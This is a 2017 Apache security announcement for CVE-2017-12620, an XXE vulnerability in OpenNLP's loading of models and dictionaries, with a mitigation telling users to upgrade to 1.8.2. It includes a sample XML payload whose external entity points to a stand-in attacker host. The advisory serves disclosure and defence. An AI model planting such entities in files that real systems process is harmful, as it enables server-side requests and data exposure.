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Date: Mon, 2 Oct 2017 10:36:20 +0200
From: Joern Kottmann <joern@...che.org>
To: announce@...che.org, "dev@...nnlp.apache.org" <dev@...nnlp.apache.org>,
"users@...nnlp.apache.org" <users@...nnlp.apache.org>, security@...che.org,
oss-security@...ts.openwall.com
Subject: [ANNOUNCE] CVE-2017-12620: Apache OpenNLP XXE vulnerability
Severity: Medium
Vendor:
The Apache Software Foundation
Versions Affected:
OpenNLP 1.5.0 to 1.5.3
OpenNLP 1.6.0
OpenNLP 1.7.0 to 1.7.2
OpenNLP 1.8.0 to 1.8.1
Description:
When loading models or dictionaries that contain XML it is possible to
perform an XXE attack, since OpenNLP is a library, this only affects
applications that load models or dictionaries from untrusted sources.
Mitigation:
All users who load models or XML dictionaries from untrusted sources
should update to 1.8.2.
Example:
An attacker can place this:
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://evil.attacker.com/">
]>
<r>&sp;</r>
Inside one of the XML files, either a dictionary or embedded inside a
model package, to demonstrate this vulnerability.
Credit:
This issue was discovered by Nishil Shah of Salesforce.
Regards,
Jörn Kottmann
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